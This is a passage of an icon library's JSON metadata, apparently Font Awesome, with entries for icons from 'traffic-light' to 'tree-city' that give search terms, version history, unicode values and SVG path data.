        "path": "M345.6 108.8c-8.3-11-22.7-15.5-35.7-11.2S288 114.2 288 128V384c0 17.7 14.3 32 32 32s32-14.3 32-32V224l86.4 115.2c6 8.1 15.5 12.8 25.6 12.8s19.6-4.7 25.6-12.8L576 224V384c0 17.7 14.3 32 32 32s32-14.3 32-32V128c0-13.8-8.8-26-21.9-30.4s-27.5 .1-35.7 11.2L464 266.7 345.6 108.8zM0 128c0 17.7 14.3 32 32 32H96V384c0 17.7 14.3 32 32 32s32-14.3 32-32V160h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H32C14.3 96 0 110.3 0 128z"
      }
    },
    "free": ["solid"]
  },
  "traffic-light": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6a6"],
        "secondary": ["10f637"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "direction",
        "light",
        "road",
        "signal",
        "traffic",
        "travel",
        "vertical traffic light"
      ]
    },
    "styles": ["solid"],
    "unicode": "f637",
    "label": "Traffic Light",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V352c0 88.4 71.6 160 160 160s160-71.6 160-160V64c0-35.3-28.7-64-64-64H64zm96 416a48 48 0 1 1 0-96 48 48 0 1 1 0 96zm48-176a48 48 0 1 1 -96 0 48 48 0 1 1 96 0zm-48-80a48 48 0 1 1 0-96 48 48 0 1 1 0 96z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V352c0 88.4 71.6 160 160 160s160-71.6 160-160V64c0-35.3-28.7-64-64-64H64zm96 416a48 48 0 1 1 0-96 48 48 0 1 1 0 96zm48-176a48 48 0 1 1 -96 0 48 48 0 1 1 96 0zm-48-80a48 48 0 1 1 0-96 48 48 0 1 1 0 96z"
      }
    },
    "free": ["solid"]
  },
  "trailer": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e041"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["carry", "haul", "moving", "travel"]
    },
    "styles": ["solid"],
    "unicode": "e041",
    "label": "Trailer",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 32C21.5 32 0 53.5 0 80V336c0 26.5 21.5 48 48 48H65.1c7.8-54.3 54.4-96 110.9-96s103.1 41.7 110.9 96H488h8H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H544V80c0-26.5-21.5-48-48-48H48zM80 96c8.8 0 16 7.2 16 16l0 131.2c-11.4 5.9-22.2 12.9-32 21V112c0-8.8 7.2-16 16-16zm96 128c-5.4 0-10.7 .2-16 .7L160 112c0-8.8 7.2-16 16-16s16 7.2 16 16l0 112.7c-5.3-.5-10.6-.7-16-.7zm80 19.2L256 112c0-8.8 7.2-16 16-16s16 7.2 16 16l0 152.2c-9.8-8.1-20.6-15.2-32-21zM368 96c8.8 0 16 7.2 16 16l0 192c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-192c0-8.8 7.2-16 16-16zm112 16l0 192c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-192c0-8.8 7.2-16 16-16s16 7.2 16 16zM176 480a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-112a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 32C21.5 32 0 53.5 0 80V336c0 26.5 21.5 48 48 48H65.1c7.8-54.3 54.4-96 110.9-96s103.1 41.7 110.9 96H488h8H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H544V80c0-26.5-21.5-48-48-48H48zM80 96c8.8 0 16 7.2 16 16l0 131.2c-11.4 5.9-22.2 12.9-32 21V112c0-8.8 7.2-16 16-16zm96 128c-5.4 0-10.7 .2-16 .7L160 112c0-8.8 7.2-16 16-16s16 7.2 16 16l0 112.7c-5.3-.5-10.6-.7-16-.7zm80 19.2L256 112c0-8.8 7.2-16 16-16s16 7.2 16 16l0 152.2c-9.8-8.1-20.6-15.2-32-21zM368 96c8.8 0 16 7.2 16 16l0 192c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-192c0-8.8 7.2-16 16-16zm112 16l0 192c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-192c0-8.8 7.2-16 16-16s16 7.2 16 16zM176 480a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-112a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "train": {
    "aliases": {
      "unicodes": {
        "composite": ["1f686"],
        "secondary": ["10f238"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bullet", "commute", "locomotive", "railway", "subway", "train"]
    },
    "styles": ["solid"],
    "unicode": "f238",
    "label": "Train",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 0C43 0 0 43 0 96V352c0 48 35.2 87.7 81.1 94.9l-46 46C28.1 499.9 33.1 512 43 512H82.7c8.5 0 16.6-3.4 22.6-9.4L160 448H288l54.6 54.6c6 6 14.1 9.4 22.6 9.4H405c10 0 15-12.1 7.9-19.1l-46-46c46-7.1 81.1-46.9 81.1-94.9V96c0-53-43-96-96-96H96zM64 96c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96zM224 288a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 0C43 0 0 43 0 96V352c0 48 35.2 87.7 81.1 94.9l-46 46C28.1 499.9 33.1 512 43 512H82.7c8.5 0 16.6-3.4 22.6-9.4L160 448H288l54.6 54.6c6 6 14.1 9.4 22.6 9.4H405c10 0 15-12.1 7.9-19.1l-46-46c46-7.1 81.1-46.9 81.1-94.9V96c0-53-43-96-96-96H96zM64 96c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96zM224 288a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "train-subway": {
    "aliases": {
      "names": ["subway"],
      "unicodes": {
        "secondary": ["10f239"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["machine", "railway", "train", "transportation", "vehicle"]
    },
    "styles": ["solid"],
    "unicode": "f239",
    "label": "Train Subway",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 0C43 0 0 43 0 96V352c0 48 35.2 87.7 81.1 94.9l-46 46C28.1 499.9 33.1 512 43 512H82.7c8.5 0 16.6-3.4 22.6-9.4L160 448H288l54.6 54.6c6 6 14.1 9.4 22.6 9.4H405c10 0 15-12.1 7.9-19.1l-46-46c46-7.1 81.1-46.9 81.1-94.9V96c0-53-43-96-96-96H96zM64 128c0-17.7 14.3-32 32-32h80c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V128zM272 96h80c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H272c-17.7 0-32-14.3-32-32V128c0-17.7 14.3-32 32-32zM64 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm288-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 0C43 0 0 43 0 96V352c0 48 35.2 87.7 81.1 94.9l-46 46C28.1 499.9 33.1 512 43 512H82.7c8.5 0 16.6-3.4 22.6-9.4L160 448H288l54.6 54.6c6 6 14.1 9.4 22.6 9.4H405c10 0 15-12.1 7.9-19.1l-46-46c46-7.1 81.1-46.9 81.1-94.9V96c0-53-43-96-96-96H96zM64 128c0-17.7 14.3-32 32-32h80c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V128zM272 96h80c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H272c-17.7 0-32-14.3-32-32V128c0-17.7 14.3-32 32-32zM64 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm288-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "train-tram": {
    "aliases": {
      "unicodes": {
        "composite": ["1f68a"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "crossing",
        "machine",
        "mountains",
        "seasonal",
        "tram",
        "transportation",
        "trolleybus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e5b4",
    "label": "Train Tram",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M86.8 48c-12.2 0-23.6 5.5-31.2 15L42.7 79C34.5 89.3 19.4 91 9 82.7S-3 59.4 5.3 49L18 33C34.7 12.2 60 0 86.8 0H361.2c26.7 0 52 12.2 68.7 33l12.8 16c8.3 10.4 6.6 25.5-3.8 33.7s-25.5 6.6-33.7-3.7L392.5 63c-7.6-9.5-19.1-15-31.2-15H248V96h40c53 0 96 43 96 96V352c0 30.6-14.3 57.8-36.6 75.4l65.5 65.5c7.1 7.1 2.1 19.1-7.9 19.1H365.3c-8.5 0-16.6-3.4-22.6-9.4L288 448H160l-54.6 54.6c-6 6-14.1 9.4-22.6 9.4H43c-10 0-15-12.1-7.9-19.1l65.5-65.5C78.3 409.8 64 382.6 64 352V192c0-53 43-96 96-96h40V48H86.8zM160 160c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32H288c17.7 0 32-14.3 32-32V192c0-17.7-14.3-32-32-32H160zm32 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M86.8 48c-12.2 0-23.6 5.5-31.2 15L42.7 79C34.5 89.3 19.4 91 9 82.7S-3 59.4 5.3 49L18 33C34.7 12.2 60 0 86.8 0H361.2c26.7 0 52 12.2 68.7 33l12.8 16c8.3 10.4 6.6 25.5-3.8 33.7s-25.5 6.6-33.7-3.7L392.5 63c-7.6-9.5-19.1-15-31.2-15H248V96h40c53 0 96 43 96 96V352c0 30.6-14.3 57.8-36.6 75.4l65.5 65.5c7.1 7.1 2.1 19.1-7.9 19.1H365.3c-8.5 0-16.6-3.4-22.6-9.4L288 448H160l-54.6 54.6c-6 6-14.1 9.4-22.6 9.4H43c-10 0-15-12.1-7.9-19.1l65.5-65.5C78.3 409.8 64 382.6 64 352V192c0-53 43-96 96-96h40V48H86.8zM160 160c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32H288c17.7 0 32-14.3 32-32V192c0-17.7-14.3-32-32-32H160zm32 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "transgender": {
    "aliases": {
      "names": ["transgender-alt"],
      "unicodes": {
        "composite": ["26a7"],
        "secondary": ["10f225"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "female",
        "gender",
        "intersex",
        "male",
        "transgender",
        "transgender symbol"
      ]
    },
    "styles": ["solid"],
    "unicode": "f225",
    "label": "Transgender",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M112 0c6.5 0 12.3 3.9 14.8 9.9s1.1 12.9-3.5 17.4l-31 31L112 78.1l7-7c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-7 7 15.2 15.2C187.7 107.6 220.5 96 256 96s68.3 11.6 94.9 31.2l68.8-68.8-31-31c-4.6-4.6-5.9-11.5-3.5-17.4s8.3-9.9 14.8-9.9h96c8.8 0 16 7.2 16 16v96c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5l-31-31-68.8 68.8C404.4 187.7 416 220.5 416 256c0 80.2-59 146.6-136 158.2V432h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v8c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h16V414.2C155 402.6 96 336.2 96 256c0-35.5 11.6-68.3 31.2-94.9L112 145.9l-7 7c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l7-7L58.3 92.3l-31 31c-4.6 4.6-11.5 5.9-17.4 3.5S0 118.5 0 112V16C0 7.2 7.2 0 16 0h96zM352 256a96 96 0 1 0 -192 0 96 96 0 1 0 192 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M112 0c6.5 0 12.3 3.9 14.8 9.9s1.1 12.9-3.5 17.4l-31 31L112 78.1l7-7c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-7 7 15.2 15.2C187.7 107.6 220.5 96 256 96s68.3 11.6 94.9 31.2l68.8-68.8-31-31c-4.6-4.6-5.9-11.5-3.5-17.4s8.3-9.9 14.8-9.9h96c8.8 0 16 7.2 16 16v96c0 6.5-3.9 12.3-9.9 14.8s-12.9 1.1-17.4-3.5l-31-31-68.8 68.8C404.4 187.7 416 220.5 416 256c0 80.2-59 146.6-136 158.2V432h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v8c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h16V414.2C155 402.6 96 336.2 96 256c0-35.5 11.6-68.3 31.2-94.9L112 145.9l-7 7c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l7-7L58.3 92.3l-31 31c-4.6 4.6-11.5 5.9-17.4 3.5S0 118.5 0 112V16C0 7.2 7.2 0 16 0h96zM352 256a96 96 0 1 0 -192 0 96 96 0 1 0 192 0z"
      }
    },
    "free": ["solid"]
  },
  "trash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1f8"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["delete", "garbage", "hide", "remove"]
    },
    "styles": ["solid"],
    "unicode": "f1f8",
    "label": "Trash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M135.2 17.7L128 32H32C14.3 32 0 46.3 0 64S14.3 96 32 96H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H320l-7.2-14.3C307.4 6.8 296.3 0 284.2 0H163.8c-12.1 0-23.2 6.8-28.6 17.7zM416 128H32L53.2 467c1.6 25.3 22.6 45 47.9 45H346.9c25.3 0 46.3-19.7 47.9-45L416 128z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M135.2 17.7L128 32H32C14.3 32 0 46.3 0 64S14.3 96 32 96H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H320l-7.2-14.3C307.4 6.8 296.3 0 284.2 0H163.8c-12.1 0-23.2 6.8-28.6 17.7zM416 128H32L53.2 467c1.6 25.3 22.6 45 47.9 45H346.9c25.3 0 46.3-19.7 47.9-45L416 128z"
      }
    },
    "free": ["solid"]
  },
  "trash-arrow-up": {
    "aliases": {
      "names": ["trash-restore"],
      "unicodes": {
        "secondary": ["10f829"]
      }
    },
    "changes": [
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "back",
        "control z",
        "delete",
        "garbage",
        "hide",
        "oops",
        "remove",
        "undo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f829",
    "label": "Trash Arrow Up",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3C140.6 6.8 151.7 0 163.8 0zM32 128H416L394.8 467c-1.6 25.3-22.6 45-47.9 45H101.1c-25.3 0-46.3-19.7-47.9-45L32 128zm192 64c-6.4 0-12.5 2.5-17 7l-80 80c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V408c0 13.3 10.7 24 24 24s24-10.7 24-24V273.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-4.5-4.5-10.6-7-17-7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3C140.6 6.8 151.7 0 163.8 0zM32 128H416L394.8 467c-1.6 25.3-22.6 45-47.9 45H101.1c-25.3 0-46.3-19.7-47.9-45L32 128zm192 64c-6.4 0-12.5 2.5-17 7l-80 80c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V408c0 13.3 10.7 24 24 24s24-10.7 24-24V273.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-4.5-4.5-10.6-7-17-7z"
      }
    },
    "free": ["solid"]
  },
  "trash-can": {
    "aliases": {
      "names": ["trash-alt"],
      "unicodes": {
        "composite": ["f014"],
        "secondary": ["10f2ed"]
      }
    },
    "changes": [
      "5.0.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["delete", "garbage", "hide", "remove", "trash-o"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2ed",
    "label": "Trash Can",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M135.2 17.7C140.6 6.8 151.7 0 163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3zM32 128H416V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zm96 64c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm96 0c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm96 0c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M135.2 17.7C140.6 6.8 151.7 0 163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3zM32 128H416V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zm96 64c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm96 0c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm96 0c-8.8 0-16 7.2-16 16V432c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16z"
      },
      "regular": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M170.5 51.6L151.5 80h145l-19-28.4c-1.5-2.2-4-3.6-6.7-3.6H177.1c-2.7 0-5.2 1.3-6.7 3.6zm147-26.6L354.2 80H368h48 8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8V432c0 44.2-35.8 80-80 80H112c-44.2 0-80-35.8-80-80V128H24c-13.3 0-24-10.7-24-24S10.7 80 24 80h8H80 93.8l36.7-55.1C140.9 9.4 158.4 0 177.1 0h93.7c18.7 0 36.2 9.4 46.6 24.9zM80 128V432c0 17.7 14.3 32 32 32H336c17.7 0 32-14.3 32-32V128H80zm80 64V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16zm80 0V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16zm80 0V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M170.5 51.6L151.5 80h145l-19-28.4c-1.5-2.2-4-3.6-6.7-3.6H177.1c-2.7 0-5.2 1.3-6.7 3.6zm147-26.6L354.2 80H368h48 8c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8V432c0 44.2-35.8 80-80 80H112c-44.2 0-80-35.8-80-80V128H24c-13.3 0-24-10.7-24-24S10.7 80 24 80h8H80 93.8l36.7-55.1C140.9 9.4 158.4 0 177.1 0h93.7c18.7 0 36.2 9.4 46.6 24.9zM80 128V432c0 17.7 14.3 32 32 32H336c17.7 0 32-14.3 32-32V128H80zm80 64V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16zm80 0V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16zm80 0V400c0 8.8-7.2 16-16 16s-16-7.2-16-16V192c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "trash-can-arrow-up": {
    "aliases": {
      "names": ["trash-restore-alt"],
      "unicodes": {
        "secondary": ["10f82a"]
      }
    },
    "changes": [
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "back",
        "control z",
        "delete",
        "garbage",
        "hide",
        "oops",
        "remove",
        "undo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f82a",
    "label": "Trash Can Arrow Up",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3C140.6 6.8 151.7 0 163.8 0zM32 128H416V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zm192 64c-6.4 0-12.5 2.5-17 7l-80 80c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V408c0 13.3 10.7 24 24 24s24-10.7 24-24V273.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-4.5-4.5-10.6-7-17-7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M163.8 0H284.2c12.1 0 23.2 6.8 28.6 17.7L320 32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32h96l7.2-14.3C140.6 6.8 151.7 0 163.8 0zM32 128H416V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V128zm192 64c-6.4 0-12.5 2.5-17 7l-80 80c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l39-39V408c0 13.3 10.7 24 24 24s24-10.7 24-24V273.9l39 39c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-80-80c-4.5-4.5-10.6-7-17-7z"
      }
    },
    "free": ["solid"]
  },
  "tree": {
    "aliases": {
      "unicodes": {
        "composite": ["1f332"],
        "secondary": ["10f1bb"]
      }
    },
    "changes": ["4.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bark",
        "evergreen tree",
        "fall",
        "flora",
        "forest",
        "nature",
        "plant",
        "seasonal",
        "tree"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1bb",
    "label": "Tree",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M210.6 5.9L62 169.4c-3.9 4.2-6 9.8-6 15.5C56 197.7 66.3 208 79.1 208H104L30.6 281.4c-4.2 4.2-6.6 10-6.6 16C24 309.9 34.1 320 46.6 320H80L5.4 409.5C1.9 413.7 0 419 0 424.5c0 13 10.5 23.5 23.5 23.5H192v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448H424.5c13 0 23.5-10.5 23.5-23.5c0-5.5-1.9-10.8-5.4-15L368 320h33.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L344 208h24.9c12.7 0 23.1-10.3 23.1-23.1c0-5.7-2.1-11.3-6-15.5L237.4 5.9C234 2.1 229.1 0 224 0s-10 2.1-13.4 5.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M210.6 5.9L62 169.4c-3.9 4.2-6 9.8-6 15.5C56 197.7 66.3 208 79.1 208H104L30.6 281.4c-4.2 4.2-6.6 10-6.6 16C24 309.9 34.1 320 46.6 320H80L5.4 409.5C1.9 413.7 0 419 0 424.5c0 13 10.5 23.5 23.5 23.5H192v32c0 17.7 14.3 32 32 32s32-14.3 32-32V448H424.5c13 0 23.5-10.5 23.5-23.5c0-5.5-1.9-10.8-5.4-15L368 320h33.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L344 208h24.9c12.7 0 23.1-10.3 23.1-23.1c0-5.7-2.1-11.3-6-15.5L237.4 5.9C234 2.1 229.1 0 224 0s-10 2.1-13.4 5.9z"
      }
    },
    "free": ["solid"]
  },
  "tree-city": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "urban"]
    },
    "styles": ["solid"],
    "unicode": "e587",
    "label": "Tree City",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 48c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48V192h40V120c0-13.3 10.7-24 24-24s24 10.7 24 24v72h24c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H432 336c-26.5 0-48-21.5-48-48V48zm64 32v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm16 80c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H368zM352 272v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm176-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H528zM512 368v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H528c-8.8 0-16 7.2-16 16zM224 160c0 6-1 11-2 16c20 14 34 38 34 64c0 45-36 80-80 80H160V480c0 18-15 32-32 